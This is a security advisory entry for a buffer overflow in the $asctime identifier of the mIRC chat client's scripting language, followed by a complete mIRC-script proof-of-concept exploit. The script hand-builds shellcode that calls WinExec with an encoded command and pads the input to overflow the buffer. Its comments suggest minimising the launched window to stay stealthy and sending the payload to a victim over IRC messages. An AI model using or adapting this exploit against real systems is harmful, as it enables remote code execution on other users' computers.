source: http://www.securityfocus.com/bid/5576/info

mIRC is a chat client for the IRC protocol, designed for Microsoft Windows based operating systems. mIRC includes support for a scripting language.

A buffer overflow vulnerability has been reported in the $asctime identifier, a function in the mIRC scripting language. The error lies in the handling over oversized format specifier strings.

Exploitation will rely on a script passing untrusted input to this function. Reportedly, no such script is included in the default installation of mIRC. 

; Proof of concept Code for asctime exploit
; Author: James Martin
; Website: http://www.uuuppz.com
; Email: [email protected]
;
; Usage:
; /asctime_poc notepad c:\autoexec.nat
; /asctime_poc command.com /c echo Your have been rooted > c:\rooted.txt
; etc :)
;
;
/asctime_poc {
; Set Show State
;
; Valid Values:
; 1 - Show Normal (This will break a ctcp request)
; 2 - Minimise (If your being evil... ;))
; 3 - Maximise
set %showstate 2

; Build Coded Command String
set %command $1-
set %count 1
unset %codedcommand
:loop
set %codedcommand %codedcommand $+ $chr($calc(128+$asc($mid(%command, %count, 1))))
set %count $calc( %count + 1)
if %count <= $len(%command) goto loop 

; Shell Code to Execute
;
; Detects mirc version, decodes the command string then calls winexec
set %shellcode $chr(184) $+ PPP $+ $chr(255) $+ $chr(193) $+ $chr(224) $+ $chr(8) $+ $chr(193) $+ $chr(232) $+ $chr(8) $+ f $+ $chr(139) $+ $chr(24) $+ f $+ $chr(129) $+ $chr(251) $+ $chr(220) $+ qu $+ $chr(7) $+ $chr(184) $+ $chr(250) $+ $chr(253) $+ $chr(5) $+ $chr(255) $+ $chr(235) $+ $chr(19) $+ f $+ $chr(129) $+ $chr(251) $+ $str($chr(255),2) $+ u $+ $chr(7) $+ $chr(184) $+ $chr(190) $+ $chr(187) $+ $chr(4) $+ $chr(255) $+ $chr(235) $+ $chr(5) $+ $chr(184) $+ $chr(210) $+ $chr(129) $+ $chr(4) $+ $chr(255) $+ 5PPP $+ $chr(255) $+ $chr(235) $+ $chr(30) $+ Yj $+ $chr( %showstate ) $+ QIA $+ $chr(128) $+ 9 $+ $chr(255) $+ u $+ $chr(2) $+ $chr(235) $+ $chr(5) $+ $chr(128) $+ 1 $+ $chr(128) $+ $chr(235) $+ $chr(243) $+ $chr(128) $+ 1 $+ $chr(255) $+ $chr(255) $+ $chr(208) $+ ]]] $+ $chr(139) $+ $chr(229) $+ ] $+ $chr(195) $+ $chr(232) $+ $chr(221) $+ $str($chr(255),3) 

; Build Exploit String
set %exploitstring %shellcode $+ %codedcommand $+ $chr(255) $+ $str(a, $calc(300-2- $len(%command))) $+ q $+ $chr(17) $+ $chr(64) 

; Run exploit string
;
; In the real world it would be more like
; /msg muppet weirdcommand %exploitstring
echo 1 $asctime(%exploitstring)
}